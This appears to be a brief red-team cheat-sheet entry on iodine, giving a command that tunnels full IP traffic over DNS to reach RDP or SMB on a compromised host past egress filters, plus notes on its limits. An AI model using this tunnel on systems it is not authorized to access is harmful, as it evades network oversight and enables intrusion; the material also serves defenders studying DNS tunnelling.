iodine

iodine -f -P <pass> <domain>

Full IP tunnel over DNS: creates a network interface (dns0) and routes arbitrary traffic (SSH, RDP, HTTP) inside DNS queries.

Run it when you need a real IP tunnel (not just a shell) over DNS: iodine encapsulates full IP packets in NULL/TXT/PRIVATE type queries. It's the way to reach internal services on the compromised host (RDP, SMB) when egress only allows DNS.

Performance is poor: the latency of each query and resolver limits cap throughput (fine for interactive use, not for moving GBs). If the resolver does split-horizon (returns internal IPs for internal domains), the tunnel may route to the wrong site. With strict DNSSEC, signed responses break the channel.